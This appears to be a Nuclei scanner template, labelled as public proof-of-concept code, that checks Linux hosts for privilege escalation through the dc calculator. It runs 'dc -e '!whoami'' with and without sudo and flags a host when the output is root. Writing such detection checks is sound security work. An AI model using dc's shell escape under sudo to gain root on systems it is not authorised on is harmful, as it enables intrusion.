dc is a command-line calculator in Unix and Unix-like operating systems. It uses reverse Polish notation (RPN) and provides a simple and efficient way to perform arithmetic operations from the command line. It can be used for basic and advanced mathematical calculations, making it a handy tool for scripting and quick calculations in the terminal.
PoC代码[已公开]
id: privesc-dc
info:
name: dc - Privilege Escalation
author: daffainfo
severity: high
description: |
dc is a command-line calculator in Unix and Unix-like operating systems. It uses reverse Polish notation (RPN) and provides a simple and efficient way to perform arithmetic operations from the command line. It can be used for basic and advanced mathematical calculations, making it a handy tool for scripting and quick calculations in the terminal.
reference:
- https://gtfobins.github.io/gtfobins/dc/
metadata:
verified: true
max-request: 3
tags: code,linux,dc,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
dc -e '!whoami'
- engine:
- sh
- bash
source: |
sudo dc -e '!whoami'
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
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